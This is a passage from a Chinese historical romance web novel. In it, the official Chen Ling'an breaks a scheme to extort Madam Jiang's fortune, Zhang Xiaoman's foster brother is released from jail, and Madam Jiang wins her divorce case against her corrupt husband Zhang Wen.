屋里两人谁也没有说话,周围很静,只有书页翻动的声音。 就这样面对面无声坐着,一般人都会觉得尴尬。 张小满却没有任何的不自在,脸上没什么表情,就那样木然地坐着。 陈令安看过去的时候,小满就抬眸看着他,他移开视线,小满也移开视线,竟不主动问一句。 屋里没有一丝风,陈令安扯扯领口,没由来一阵烦躁。 门口,吴勇飞快冒了下脑袋。 “滚进来!” “诶,是是。” 陈令安问:“审出什么来了?” 吴勇:“嘿,那管家一开始还叫嚣着告我们,咱就拎到刑房让他开开眼,结果还没动手呢,他就全招了。” “他叫华义,是南郊皇庄的庄头,听说蒋夫人有钱,就想出个‘诈尸夺产’的主意,先用赌局套牢方妈妈的侄子,再把杀人的罪名扣在方妈妈头上,逼蒋夫人不得不破财消灾。” “死的人是他庄子上的佃户,本身就有严重的肺痨,活不了几天,一听有五百两银子可拿,就同意了。” 一直竖着耳朵听的小满不由惊呼:“五百两?他跟母亲要的是六十万两。” 黑,真黑啊!吴勇啧啧两声,“方妈妈的侄子也找到了,证词和华义说的基本都对上了。” 陈令安:“张文和此案有没有关系?” 吴勇偷偷瞧了小满一眼,“据华义交代,他不认识张文,和张家人没有来往。” “他撒谎,知道方妈妈是母亲命门的,除了张家没别人。”小满插嘴道,“他谁都不害,偏偏找上了方妈妈,怎么可能没有张家的指点?” 陈令安思索片刻,吩咐说:“先调查清楚张家都有谁涉案。”又问:“帮他给刑部递话的人是谁?” “他说他编的谎话,故意唬人,传来传去大家就都信了。” “呵,你也信了?” 吴勇忙道:“我不信,因为涉及外省和刑部,不敢贸然拿人,还请大人示下。” 陈令安身子前倾,仔细看着自己的下属,“你都没审出来是哪个官,我怎么示下?” 吴勇一缩脖子,知道自己瞧热闹的那点小心思被上峰看破了,嘿嘿两声,扭头就撤。 “站住!石家人抓了没有?” “抓了抓了,一个没跑,都关在地牢里。” 陈令安这才点了头。 吴勇如获大赦,临出门时邀功似的对小满说:“我们会照顾好方妈妈,请蒋夫人和三姑娘放心。” 小满起身笑道:“多谢吴大哥,时候不早,我该回去了,母亲还在家等消息呢。” 说完就走,毫不留恋。 吴勇惊得嘴巴张得老大:这就走啦,不应该和大人再说说话,道个谢什么的吗? 他后知后觉自己好像办了件蠢事,都不敢看陈令安一眼,僵硬地挪着腿,恨不能立刻消失在墙角的阴影中。 陈令安根本没空搭理他,在小满迈过门槛的时候,他就追了出去。 却没出声,就这样跟在小满后面。 他的脚步声不算轻,料想前面的人肯定听得见。 她会停下的吧,然后转身,鼓着腮帮子质问他跟过来干嘛。 他该怎么回答? 说案子还有细节没搞清楚,请她明天再过来一趟,还是说天太晚,送她一程,或者问她要这个月的还款——每月还他五钱银子,他们说好了的。 可是都快走出北镇抚司门前的巷子了,她还没有停下。 陈令安耐不住了,“张小满!” 前面的人影微晃,停住了。 天上没有星月,树影屋影都黑黢黢的动也不动,唯有她提着的一盏宫灯,在暗夜中发出微弱的光。 她慢慢转身,抬眸静静等着他开口。 先前想的种种借口全忘了,脱口而出的竟然是:“你很开心吧,总算心愿达成,做了刘家的少奶奶。” 话音甫落,两人都呆住了。 张小满不可置信地说:“你一路追我,就是为了和我说这句话?” 当然不是! 陈令安嘴唇嚅动一下,不知为什么,这四个字竟难以出口。 话题又莫名被他扯到刘瑾书身上,“刘瑾书在皇上面前告了陈令宜一状,外调令取消了,可他们闹得很难看,很多官员预计陈刘两家日后必会翻脸,开始悄悄站队了。” 小满郁闷得难受,忍不住讥诮笑道:“那你是不是该谢谢我,毕竟我帮了你的大忙呢!” 陈令安又是一滞,心里某个地方像被针狠狠扎了下,一股酸涩的苦味随之充满口腔。 他不清楚这种感觉意味着什么,却清楚的知道是因为眼前的小姑娘。 湿漉漉的空气似乎再也承受不住这份闷郁,淅沥沥飘起绵密的雨点来。 小姑娘轻叹口气,似是不耐烦了。 “对不起。”陈令安轻轻说。 “别想一句对不起就让我原谅你。” “你能不能别嫁给刘瑾书?” 他在说啥! 张小满吃惊地盯着陈令安,想从他脸上看出点什么,可他把脸扭到一旁不让她看。 细雨沙沙,手中的宫灯在暗夜中颤悠悠跳。 莫非、难道,他…… 小满的心砰砰地跳,几乎要从嗓子眼跳出来。 “我早晚要收拾刘家,你成了他家媳妇,难免不受牵连,林亭先生会责怪我。”硬邦邦的话从头顶砸下来。 当头一棒,小满顿时从漫无边际的幻想中一屁股落地,不禁自嘲一笑,“我谢谢你啊。” 她不想再听他废话了, 巷子口停着蒋家的马车,快走几步就到。 陈令安下意识伸出手,却在即将碰触到她的那一瞬停下,慢慢地、慢慢地收回,在背后紧握成拳。 昏黄的光晕消失在巷子口。 躲在墙角偷看的吴勇急得都想冲上去把陈令安大力晃醒:追啊,你为什么不追! 夜风飒飒,雨势逐渐变大了,吴勇犹豫要不要给他送把伞。 却听一阵噼里啪啦的脚步声由远及近,有人撑伞而至。 吴勇识相地重新缩回墙角。 温柔的灯光映出张小满气鼓鼓的脸。 陈令安不由得屏住呼吸。 风声、雨声、心跳声,他开始紧张了。 张小满瞪他:“你混蛋!” 陈令安露出一丝苦笑,“我是混蛋。” “必须把方妈妈完好无损送回来,知道吗?” “嗯。” “还有我母亲的和离官司,我不管你用什么办法,必须判离,还有嫁妆,一分也不能落在张家手里。” “嗯。” “还有……等我想起来再说。” “好。” 他无一不应,态度算得上十分良顺,却让小满更烦乱。 深吸口气,她说:“我不会嫁给刘瑾书!” 脸涨得通红,幸好夜色浓郁,谁也看不见。 又补充一句,“不是因为你。” 陈令安停了片刻,缓缓道:“我知道。” “你才不知道,你根本什么也不知道!大笨蛋!”小满一跺脚,转身跑掉。 陈令安依旧没去追她,扬起脸,沁凉的雨丝飘在他热乎乎的脸上,浅浅笑了声。 蹲在墙角的吴勇默默翻个白眼:被骂还乐呵,脑壳有病- 北镇抚司跟谁也没打招呼,强势介入方妈妈杀人案,连刑部侍郎都被请去喝了三天茶。 刑部尚书俞得水气得非同小可,揣着弹劾陈令安的奏章就去找皇上了。 在御书房门口被大太监吕良拦住了,“俞大人,现在皇上不得空,您先到厢房等等?” 俞得水立刻从善如流。 可一进厢房就有点傻眼了,这里与御书房不过一壁之隔,还是不算厚的雕花格栅门,一看就知隔音效果很差。 “吕总管?”俞得水疑惑地看向吕良。 吕良命宫人上茶,“大人只管坐着。”说罢温和一笑,掩门走了。 御书房里的人声音不大,因为静悄悄的,坐在厢房的俞得水听得一清二楚。 “地方和刑部勾结谋财害命?官场竟混乱腐败到这个地步了,真是岂有此理!”啪的摔奏章的声音,皇上发脾气了。 “财帛动人心,蒋夫人近百万的家资,又是无依无靠的柔弱妇人,犹如小儿抱金砖于闹市,难免贪财者眼红。” 陈令安!俞得水蹭的把耳朵贴到格栅门上。 弘德帝:“蒋……有点耳熟。” “皇上好记性,平阳侯府世子夫人也姓蒋,正是这位蒋夫人的亲妹妹。” “既是秦伯彦的大姨子,他怎么不帮一把?” 陈令安:“他们两口子倒是想管,可蒋夫人和张文打和离官司打得满城风雨,侯府担心惹众怒,不准秦世子管。” 弘德帝:“和离?” 陈令安便把蒋家如何扶持张家,张家又如何侵占蒋夫人嫁妆,如何纵容侍妾羞辱妻子一五一十说了个明白没。 其中有些是弘德帝知道的,有些不知道,一开始还当个乐子听,后来脸上渐渐笑不出来了。 “这样的人,竟做过我朝的吏部尚书,他怎么当上……嗬!”不知想到什么,弘德帝重重哼了声。 陈令安垂眸沉默着,给皇上留出思考的时间。 “凡涉案者,严查严办。”弘德帝下了终论。 隔壁偷听的俞得水已是满头冷汗,一把把弹劾奏章塞进靴筒,见书桌上笔墨纸砚齐全,提笔就开始写自劾文章。 吕良进门时,他正好写完最后一个字。 俞得水小心吹干墨迹,收拾下心情,整理好表情,恭恭敬敬去了御书房。 弘德帝看着他的自劾书,久久不语。 俞得水越发恐慌,头埋得更低,“微臣失察在先,正办在后,实有负皇上高厚之恩,求皇上严惩,微臣定当自省以赎前愆。” 弘德帝岂能看不出他那点小心思,“案情并不复杂,没有北镇抚司插手,你刑部就要办成冤假错案了,这是人命案子,轻轻一个‘失察’,你就想推得一干二净?” 俞得水登时冷汗热汗齐齐流下,扑通跪倒,却是一个字不敢多说了。 死样的沉寂中,陈令安缓缓道:“皇上明鉴,同年、同乡、老师,种种关系人脉丝萝藤缠盘根错节,总会有抹不开面子的时候,俞大人一时不查,在所难免。” 俞得水惊讶极了,今儿太阳打西边出来了,陈令安居然为他说好话。 事出反常,必定有妖! 没想到弘德帝的脸色缓和下来了,无限感慨地叹息一声,“君子矜而不争,群而不党,你们这些读书人,应该多向陈令安看齐。” 俞得水:是是……嗯? 弘德帝把自劾书往书案上一扔,“朕知道你有难处,算了,起来吧。” 俞得水悬着的心落地了,当然脸上还是涕泪俱下,感动,感恩。 从御书房出来,俞得水掂量一会儿,还是追上了陈令安,“老夫不欠你人情,说吧,你所求何事。” 陈令安看傻子似地看他一眼,呵的笑了声,扬长而去。 “你……”俞得水气得胡子直颤,碍于官体脸面,又不能破口大骂以泻怒火,只能恨恨瞪着陈令安远去的身影。 可瞪着瞪着,俞得水的眼神不对了。 茕茕孑立,踽踽独行。 没有亲密的同僚,没有交心的朋友,印象中他总是一个人。 群而不党!蓦地,皇上的话在耳边炸响。 联想到近日陈刘两家的纷争,俞得水倒吸口冷气,回头望了望御书房的方向,恍然大悟。 旋即又在心里“呸”了声,他陈令安算个屁的君子!- 有了皇上的话,北镇抚司一连抓了皇庄、淮安府、刑部十几名大大小小的官绅吏员,地方和京城官场都有震荡。 自然激起“民愤”。 但俞得水眯着眼睛捻着胡子一副“不可说”神叨叨的模样,纵有对陈令安雷霆手段不满,想参他深文周纳、罗织构陷的官员,也开始观望了。 消息透出,张家一片阴沉。 “都怪你!”张文整张脸扭曲着,五官狰狞可怖,恨不能将跪在地上的孙姨娘咬死。 “你出的馊主意,你找的人,你疏通的关系,你说万无一失,结果全完了,我要被你害死啦!” 孙姨娘没有求饶,抬眼直直看过来,“老爷你可是同意了的,别说得像是我一人的错。” 张文被她激得怒火更盛,抓起茶盏就要砸她。 孙姨娘冷冷道:“那是官窑甜白釉的,十两银子一只,苏北田庄能不能留在手里还不晓得,府里是只出不进,老爷省省吧。” 张文差点背过气去,“没就没了,反正早晚抄家,留着也是便宜别人。” 手很老实地放下了茶盏。 孙姨娘慢慢站起来,“陈令安不会对老爷动手。” 张文愣住,“为什么?” “很简单,投鼠忌器。”孙姨娘伸出三根手指晃晃。 张文大怒:谁是鼠?谁是器? 孙姨娘没空哄他,继续提醒:“忤逆,仅次于谋反叛乱的大罪。” “你是说……” “老爷以此和他们谈条件,同意和离,不追究三姑娘忤逆大罪。作为交换,除去太太私库的东西,其余嫁妆全归张家所有。” 孙姨娘微微一笑,“太太为方妈妈都情愿倾家荡产,况且三姑娘?” 张文霍地提足了精神,“我放她走,可她别想带走一文钱,私库的东西,她得原样给我拉回来!” 孙姨娘简直无语,“过犹不及,能平安度过此劫,已是太大的造化了。” 张文悻悻,命孙姨娘马上去办,“办好了,我抬你做贵妾。” 孙姨娘谢过,低头的同时,掩去唇边的一丝讥讽- 很快,方妈妈回家了。 蒋夫人紧紧攥住她的手,又是笑,又是哭。 方妈妈同样泪水涟涟,“我以为见不到太太了,太太你也太……我一个奴婢,不值当的呀。” “妈妈快别说这话。”小满笑道,“别人不知道太太对你的情义,你还不知道?” 方妈妈擦擦眼角,“诶,我听姑娘的,要不是姑娘,我这把老骨头就交代在死牢里了。” 小满轻声说:“不是我的功劳,是陈令安。” 热络激动的气氛微微一冷,蒋夫人和方妈妈对视一眼,问:“决定了?” 小满点点头,“我原本不想找陈令安的,先去的刘家。秦夫人太过分了,不说帮忙,反而落井下石,一个劲儿说咱们坏话,这样的人家,我怎么敢嫁?” 方妈妈叹道:“不经事不知人,有这样心存偏见又苛刻的婆母,姑娘就算嫁过去,日子也不好过。刘公子再好,不能时时刻刻都陪在姑娘身边呀。” 蒋夫人思忖半天,叹道:“就依你们,刘家那边我去说。唉,起因在我,差点误了小满一辈子,只是……只是陈令安也不是良配。” 小满哼哼唧唧,“谁要嫁他。” 蒋夫人发出一声似有似无的叹息。 陈令安这个人,说他坏吧,他却屡次出手相助,叫谁看也会认为对小满有意。 说他好吧,他利用起小满来毫不手软,谁知道会不会再变着法儿的坑小满! 她想跟小满好好剖析下利弊,然而陈令安刚救出方妈妈,她根本开不了口说陈令安的不好。 小满不想继续这个话题,转而笑道:“趁这个风口,咱们不如趁热打铁,一举拿下母亲的和离官司!” 提到张家,蒋夫人忽道:“抓了那么些人,连石家娘子都打了三十杖,张家竟没有一个牵扯进来?” 小满怔住了,凭陈令安的性子,不应该啊。 难道是因为自己? 大可不必!必须找个机会和他说明白。 然而没等她找过去,陈令安主动找来了。 “我去应天府大牢赎人?”小满大眼睛里全是疑惑,“赎谁呀?” “你哥。” “张弼?你找错人了吧。” “不是他。”陈令安的表情很奇怪,透着某种不可思议,还有点惴惴。 “你的养兄,何平。” 第37章 养兄? 小满眼皮重重一跳, 只觉脑壳生疼。 那年养父母过世,村里的何阿婆好心收留了她,何平, 就是何阿婆的孙子。 十里八村出了名的捣蛋鬼! 上树掏鸟下河摸鱼,夏天捅马蜂窝冬天打冰溜子,绑床单学大鸟从山坡往下跳, 烤山芋差点把山点着。 还装成观音的小金童, 把镇上黑心老板骗得一愣一愣的,把泥巴丸当灵药吃了下去,事后居然还对他感恩戴德! 最离谱的是有次过年,他扛着山货去卖钱,走半道叫土匪劫了。大伙凑钱准备赎人, 结果俩土匪把他给送回来了。 这家伙喝得醉醺醺的, 拉着那俩土匪称兄道弟, 一张嘴不知疲倦叭叭叭, 愣是那俩土匪说得落荒而逃。 自此他们村,甚至整个乡镇, 再也没被土匪骚扰过。 后来何平还颇为遗憾, 土匪竟然不要他,真真儿有眼无珠, 错过称王称霸的天赐良机啊! 何阿婆不止一次与她感慨,幸亏林亭先生收了这个泼猴儿,不然何平一准儿把天捅个大窟窿。 总而言之一句话, 他走到哪里,哪里就鸡飞狗跳不得安宁。 给何阿婆的信上,小满千叮咛万嘱咐,千万千万不要叫何平知道。 现在她简直欲哭无泪:“好端端的他怎么来了, 这回又闯了什么祸?” 陈令安咳咳两声,“意图谋杀静轩公主……” 小满惊愕得半天才缓过神来,一捂脸,“我不认识他。”- 两日后,应天府大牢。 一个年轻男子两手扒着铁栅栏,跟狱卒聊得热火朝天,呲着一口大白牙直傻乐,压根不像坐牢,倒像来游玩的。 铁门这边的张小满默默转过头。 何平已经瞧见她了,兴奋地挥舞双手,“小满,看这里看这里!” 小满慢腾腾挪到他跟前,何平隔着栅栏一把抱住她,“想死你哥啦。” 差点没把小满给勒死! 陈令安冷着脸把何平的手掰开,“臭毛病改改。” 何平哈哈大笑起来。 他容貌算不得十分出众,但有一双十分明亮的眼睛。 笑起来眼睛弯弯的,非常讨喜,不笑的时候眼睛也有笑意,就像春光中澄净的湖水,温柔和煦,又充满活力。 即便站在秀容绝世的陈令安身边,也没法忽视他的存在。 “你还笑!”小满唬着脸说,“谋杀公主,我看你是不想活了。” 何平大呼冤枉,“我是救人,昨儿我打燕雀湖经过,看见一个女子站在桥上,面容消瘦,神情惨淡,眼睛直勾勾盯着水面,一看就知道是看了几出折子戏就恨海情天,意欲自尽挽回情郎的傻闺女。” “男子汉大丈夫,怎能见死不救?说时迟那时快,我一个箭步飞身上前,就要拉住她……结果冲劲太猛,没刹住把她撞下去了。好不容易爬上岸,一群侍卫刷刷刷飞过来,喊着有刺客,稀里哗啦往我身上扑哇。” 何平抹一把辛酸泪,“公主不都是久居深宫,前呼后拥,侍者如云么?她孤零零一个人,打死我也想不到她是公主。我真的冤枉,在京城我就认识你,只好求官差找你。嘿,没想到你俩都在!” 陈令安冷飕飕说:“公主说她正靠在桥栏上看鱼,突然冲出个男人,抱着她就往水里跳,幸好暗卫在附近,这才没出事。” 何平眨眨眼,“看鱼?不对,看鱼才不会有那种表情。” 小满怼他,“公主说什么就是什么,你还争辩,真想在这地方关一辈子呀。” 何平听出有望获救的意思,惊喜道:“我能出去了?” 陈令安斜眼瞥他,“公主仁慈,知道你是小满的养兄,就饶你一条狗命。” 便有狱卒上前打开牢门。 何平欢天喜地出来,张开双臂又要拥抱小满,“啊呀好妹子,你就是我的小福星!” 小满忙躲,“别谢我,是陈令安的面子。” 何平立刻调转方向,“小安安,让哥哥抱抱。” “滚!” “不要害羞嘛,打小就成天板着脸装大人,比我还老成。你这身官袍好鲜亮,在哪儿发财呢,什么时候来的京城,怎么也不往宣府捎个信,我们一直惦记你。诶诶,你跑什么呐!” …… 直到午饭的时候,小满和陈令安的耳根子才得以清净片刻。 何平虽呱噪,用饭却很安静,动作也很优雅,小满瞧着瞧着,忍不住笑了。 其他两人望过来。 小满解释道:“大哥吃饭特别像林亭先生,不愧是先生精心教出来的得意弟子。大半年不见,我挺想家里人的,他们都好吗?” 何平道:“好着呢,倒是你,似乎在张家过得不好。别怕,哥来了,没人敢欺负你。” 听着这话,小满瞥了眼陈令安,陈令安别扭地挪开视线。 何平微微挑眉,一副看戏的表情。 小满又问:“阿婆还找了谁?” “啊?我怎么听不懂你说啥。” “你不是接到我的信才来的?” 何平更奇怪了,“是老师写了推荐信,让我到南翠书院读书。三月里收到你托人送的东西和书信,别的就没有了。” 小满怔楞了会儿,摇头笑道:“我想也不会这么快。” “你在搞什么鬼?”陈令安皱着眉头问。 “和你没关系。” “不要做没必要的事,不要引起没必要的麻烦。”他的语气暗含警告。 小满哼了声,没理他。 何平左右瞅瞅,打趣道:“小安安,这样和女孩子说话,小心一辈子打光棍哦。” “不许叫我这么恶心的名字。” “那……小安子?” 小满没忍住,噗的一口茶喷得满衣袖都是,一边拿帕子擦,一边又咳又笑,好半晌才止住。 陈令安俊脸通红,可面对这个曾经照拂过他很长一段时日,随时在正经和不正经间切换的哥哥,他是一点办法都没有。 只能推说公务在身,准备溜之大吉。 “陈令安!”何平突然提高声音。 陈令安一顿。 何平脸上挂着慈爱的笑,左手撑着下巴,右手伸出,轻轻抚上陈令安的头,声音缓慢而低沉,“好孩子。” 陈令安浑身肌肉猝然绷紧,腾地站起来,“少来,我都比你高了!” 何平笑声朗朗,“老师的话,我完完整整带给你啦。” 陈令安表情有一瞬的凝固,但马上反应过来,“林亭先生绝对不会这样说,绝对不会做出这样的表情,你又在诳我。” 何平一把揽住他的脖子,“又没上当,真没意思,你什么时候才能放下戒心?” “你给我放开!” “小安子,人家好想你哟。” “滚!” “别跑哇,小安子,等等我。” …… 柳荫微动,知了长鸣,消失已久的少年意气,似乎在这一刻回来了- 这两天陈令安一直在忙何平出狱的事,张家重金请的中间人没找到机会说和,张家的盘算便一拖再拖,直到收到江宁衙门再次审理和离案的堂票。 张文只能硬着头皮上了。 时值立秋,北边吹来的风已不似盛夏那般灼人,但今日是个阴天,还有些闷热。 衙门外依旧挤满了看热闹的人。 上次两方已经辩述得差不多了,目前争的是陪嫁的归属问题。 张文还是拿世情说事,夫为妻纲,妻子一身一体全是丈夫的,要以丈夫的意愿和要求为头等大事,丈夫用妻子的嫁妆,有何不可? 娘家不算家,夫家才是家,一分一厘都要计较清楚,简直是忘了自己已为人妇的身份,是为不守妇道。 所以不能是和离,只能是蒋氏被休。 他的话,得到了堂外大多数男人的附和。 郑峳采饶有兴趣地看着他,“张老爷的意思,嫁妆全部留给你,蒋夫人净身出户?” 张文长叹一声,“念在夫妻多年,还有几个孩子的份上,我愿意给她留些两万的傍身银子。” 在“孩子”二字上,他故意加重了语气。 蒋夫人果然听懂了张文的暗示,她能离开张家,小满能离开吗?还有张君懿,那丫头抱着破釜沉舟的决心投奔她,她又怎能不管孩子们的死活? 起风了,大团大团灰褐色的云滚滚而来,转眼掩了大半个天。 她下意识去看站在衙门口的小满。 小满却在看张文,嘴角和眉梢都流露出轻蔑的鄙夷,整张脸分明写的是:信你个鬼! 蒋夫人一激灵清醒过来,当即大声道:“没有这样的道理,嫁妆是我爹娘给我这个女儿的,不是给你张家的!” 见她不上钩,张文气急败坏喊:“只顾自己快活,不顾孩子死活,你也忒自私凉薄了!” 衙门口看热闹的人笑出了声,“没一个是人家生的,亲爹对孩子不闻不问,却叫和离的前妻管,不管就是不守妇道。我活了四十多,头回听见这样的歪理。” 还有人阴阳怪气道:“从身无分文到家资百万,娶个有钱人家的女儿,再把人扫地出门就行,这娶亲娶得值,吃绝户吃得好。” “就是,咱还累死累活的干啥哪,直接骗个有钱媳妇,最好是独生女,哈哈。” 听了这话,一个妇人下死手掐刚才附和张文的丈夫,“咱也有闺女,万一嫁个和张文一样的男人,闺女受罪,好不容易攒下的家当还都成了人家的,看你哭不哭!” 现场有女儿的人家都若有所思盯着张文。 张文擦擦额头的汗,佯装镇定。 郑峳采冷笑道:“带人犯。” 但听一阵纷乱的脚步声,衙役押着一串惊惶不安的人上来。 蒋夫人认出其中几个是苏北、徽州、徐州那边的庄头,早几年还来张家给她请安过。 张文脸色变了。 小满也是一怔,随即恍然大悟:陈令安不是不动张家,是要把这些人先用在和离案子上,让母亲从张家抽身了再说其他! 这些人早被审过一遭儿了,见识过锦衣卫的刑讯手段,此时一个个浑身筛糠,格格的牙齿碰撞声清晰可闻,讷讷道:“只求速死,只求速死……” 郑峳采“啪”的一拍惊堂木,厉声喝道:“想死也得先把事情交代清楚,尔等是如何侵吞主家私产,贿赂当地官员,栽赃陷害他人的,还不从实招来!” “我们、我们……是张家老太太,还有姑爷让把账本和出息给他们,照做,就勾了我们的卖身契,不照做,就发卖我们。” 他们怨毒地盯着张文。 如果不是张文做事太绝,太太就不会和离,更不会查田庄的账目,那他们根本不会卷进来! 一想吃香喝辣穿金戴银的小日子被张文毁了,就恨不得把他撕碎了。 尤其可恨的是卖身契也没还给他们,现在他们还是奴藉。 背主负恩是重罪,轻则杖百,重则流放,甚或处以斩首。 他们活不了,张家也别想活! 当即把怎么里外串通做假账骗蒋夫人,怎么把田庄转移到张文和孙姨娘名下,怎么贿赂当地官员给方妈妈的案子施压……一五一十说了个明白。 记录真实数据的账本也作为证物递交上来。 郑峳采:“张文,你还有什么话说?” 张文心一横,不认,“蒋氏有门好亲戚,焉知他们是不是受人指使,故意陷害我。” 郑峳采乐了,竟是不见棺材不落泪的主儿,“把边氏、孙氏带上来。” 边老太太一露脸,就冲儿子哭喊:“没王法了,他们把咱家抄了!” 张文惊怒交加,“郑峳采,我犯了什么罪你抄我的家?你有皇上手令吗?你你你是以权谋私,我要告你!” 郑峳采喝道:“大胆,竟敢咆哮公堂!”说着冲左右使了个眼色。 四根水火棍立时叉住张文的手脚,随即“咚”一声巨响,还没反应过来的张文摔了个大马趴,门牙都磕掉一颗。 受伤未愈的右手腕再次断了。 他叫声凄惨,郑峳采听得心烦,命人把他的嘴捂住。 郑峳采翻着从张家抄查出来的账本,“边氏,本官是搜查物证,只拿了田庄的账本,其余物件分毫未动,到你嘴里,居然成了抄家。若不是本官请了都察院、刑部、大理寺的大人们暗中监察,今日就有理也说不清了。” “张家的蛮横阴毒,本官算是领教了。” 郑峳采把账本扔回箱子,“交给钱粮师爷核算,贪了多少,叫他们全吐出来,还给蒋夫人。” “不行,那是我家的。”边老太太呼哧呼哧喘着气,憋得脸紫涨通红。 “不行?”郑峳采冷笑道,“本官还没问你的罪,你是如何威逼利诱庄头做假账、转移蒋氏资产的,与我老实招来,说!” “说”字出口,手中的惊堂木猛地拍了下去,就像是一棍子敲在边老太太头顶,登时蔫吧了。 但她再害怕,也知道绝不能认罪,“账都是孙氏管着,我什么都不知道,我也不认识田庄上的人,我名下也没有田产出息。” “你倒乖觉,一概事务皆不露面,稳坐幕后吃大头,真以为这样就能瞒天过海?” 郑峳采厌恶地看着张家母子,“田庄的账本,是从你们房中找到的,敢说不知道糊弄本官,也太小瞧本官了。” 他瞥一眼低头不语的孙姨娘,“孙氏,勾结皇庄华义,陷害方氏以夺取蒋夫人家财,你该当何罪?” 孙姨娘身体剧烈颤了下,“青天大老爷,我冤枉,都是老爷干的,与我无关。我一个足不出户的小妾,连皇庄门朝哪儿开都不知道,何来的人脉关系,何来的贿赂银子?” 养的狗竟咬主人! 边老太太抡起拐杖照孙姨娘脑袋就是一下,“胡说,敢泼我儿子脏水,打死你这个贱蹄子!” 孙姨娘惨叫一声,捂着满头的血晕死过去。 人们何曾在大堂上见过这等行凶场面,登时哗然大乱。 蒋夫人已然看呆了,小满生怕老太太发狂伤了母亲,急忙把她拉到衙役后头躲着。 郑峳采手中的惊堂木敲得邦邦响,“肃静!肃静!把老太婆给我摁住,把受伤的抬下去医治。” 待人声稍停,郑峳采拿出早就准备好的判决词。 “张文素蒙蒋家恩荫,发妻扶持,却不思回报,厌弃发妻,更犯有虐待、诈尸夺产之罪,若无惩戒,侥幸者多。笞五十,判义绝,返还蒋氏全部嫁妆,所涉诈尸夺产案交由北镇抚司合并审理。” 张文挣扎着求情:“我有错,请大人念我十载寒窗,走到今天实在不容易,咱们还一起赴过琼林宴,同为儒林士子,请大人留些体面……” 一想到跟这种人一起赴过宴,郑峳采恶心得隔夜饭都要吐了。 “早知如此,何必当初?你做下此等丑事,丢的不止是你的脸,还有天下读书人的脸,更有朝廷的脸!儒林士子,你根本不配!” “本官定会据实上疏,削掉你的学籍去除你的功名。来呀,剥去张文衣冠,畜生便是畜生,装什么人。” “退堂!” 随着这声“退堂”,怒涛翻滚的天空中划过一道明闪,紧接着是一声石破天惊的雷声,积聚已久的暴雨倾盆而至,痛快淋漓地冲刷这个世界。 蒋夫人从惊怔中醒过来。 她呆呆地看着死猪一样瘫软在地的张文,披头散发哭号不休的边老太太,脸色惨白双目无神的孙姨娘…… 过去了,一切都过去了,她终于从张家逃离出来了! 蒋夫人说不清自己心里是个什么滋味,本应是如释重负的轻松,又觉得心头似有一股怎么也排挤不出的郁气。 顶着那么大的压力,费了这么大劲,却只是回到了最初的起点。 不,还不如起点,如今的她身心俱疲,还要忍受人们的指指点点,那个神采飞扬的天之娇女再也回不来了。 二十年的年华,一个女人最好的时光,就这样白白浪费在一个烂男人身上。 想哭,想笑,万般思绪齐齐涌上心头,最终只化作一声叹息。 “母亲,母亲!”小满叫着扑过来抱住她,“自由了,你自由了!” 蒋夫人捧着女儿的脸,“可是小满,以后你该怎么办?” 小满一怔,眼泪不听话地往下掉,又担心蒋夫人难过,忙深吸口气,摇头晃脑笑道:“没事,山人自有妙计。” 蒋夫人不信。 哪有什么妙计,无非是安慰她罢了。 张文被问罪,张家的名声臭了,到手的银钱没了,边老太太岂能放过小满?极可能破罐子破摔,不顾一切拿“忤逆”的罪名作践这孩子。 怎样才能救她? 蒋夫人的心揪得紧紧的。 “太太!”孙姨娘横里冲出来,咚的跪在她们面前,那劲头丝毫不像刚刚晕过去的人。 “我错了,我不该帮着老太太老爷欺瞒太太,如今铸成大错,不敢求太太原谅,只求太太发发善心,多少照顾下五姑娘,别叫她给老太太卖了。” 她咣咣磕头,转瞬间刚包扎好的脑袋又是一片血污。 “稚子无辜,五姑娘好歹叫了太太十来年的娘——” “住嘴!”见蒋夫人面露不忍,小满急急打断孙姨娘,“现在知道害怕了,你侵占太太嫁妆的时候怎么不害怕?你陷害方妈妈怎么不害怕?你们张家人都是一丘之貉,就会逮着人善心软的太太欺负!” 孙姨娘叫道:“别忘了你也是张家人。” 小满莞尔一笑,俯身在她耳边轻轻道:“很快就不是了。” 孙姨娘愕然盯着她,直到被衙役拉她时才蓦然发出声尖叫,“不可能,不可能——” 叫声透着歇斯底里的绝望,就是方才听到收监北镇抚司都不见她如此崩溃。 小满眉头慢慢拧起来,自己是不是张家人,对孙姨娘来说比命还重要?- 因和离案关涉诈尸夺产案和淮安、刑部的官场舞弊案,郑峳采整理好卷宗就去了刑部。 到了刑部衙门,便见陈令安、刑部尚书俞得水,还有都察院、大理寺的几位堂官都在,他忙三步并两步上前,“下官拜见诸位大人。” 俞得水看过他递交的卷宗,笑道:“断得好,我们读书人的名声,生生叫这等儒林败类连累了。” 都察院侍郎却说:“判得是不是太重了?蒋氏做了张家二十年主母,也因张文得了朝廷的诰命,不能说没得过张家一点的好处,却全身而退,一丝一毫的损失都没有。若女子都纷纷仿效,岂不是乱了纲常伦理?” 陈令安缓缓起身,“前阵子皇上问我,这个张文怎么坐到吏部尚书的位子,是谁力保,又是谁提拔。当时我答不上来,今天,可以回禀皇上了。” 侍郎大惊失色,“你你你……我才没举荐他,我是为维护三纲五常,绝无私心,这话到御前我也敢说。倒是你陈令安,你敢说你介入这案子没有私心?” 签押房霎时一静。 陈令安望着窗外淙淙大雨,冷冰冰的声音透过雨声清晰地传入每个人的耳朵,“是,我有私心。” 他转过身,冷漠地望着那个侍郎,“我还会让你知道,今后会有多少人因为我的私心沦为阶下囚。” 第38章 风大雨急, 她们回到家时已是掌灯时分。 温暖的黄晕灯光下,小蒋氏笑盈盈立在门口迎接姐姐。 蒋夫人又惊又喜,“你怎么来了?小心你婆婆她们不高兴。” 话刚出口, 便瞅见门后的秦伯彦,登时尴尬不已。 没想到秦伯彦比她更尴尬,甚至可以说羞惭。 “岳父岳母在世时, 我没少受他们照顾, 如今他们的亲生女儿受苦,我却袖手旁观,他日到了地下,有什么脸去见两位老人家。” 说着深深一揖,“大姐, 妹夫在这里给你赔罪了。” 蒋夫人想扶他又不好扶, “快起来, 这话怎么说的, 我不能因为自己的私事,坏了侯府的谋划。” 小蒋氏轻声说:“他是真心给你赔不是, 今天作证的庄头就是他派人抓的, 八百里加急追捕,拿不到人军法伺候, 硬是赶在再审前把人押到了京城。” 一阵酸热冲上鼻腔,蒋夫人又是拭泪又是笑,“这、这叫我怎么谢你们。” 秦伯彦忙摆手, “咱们本是至亲,结果还不如一个外人对这事上心,你还谢我,我脸都没地方搁了。” 外人?小满睁大眼:她? 秦伯彦敲她脑壳, 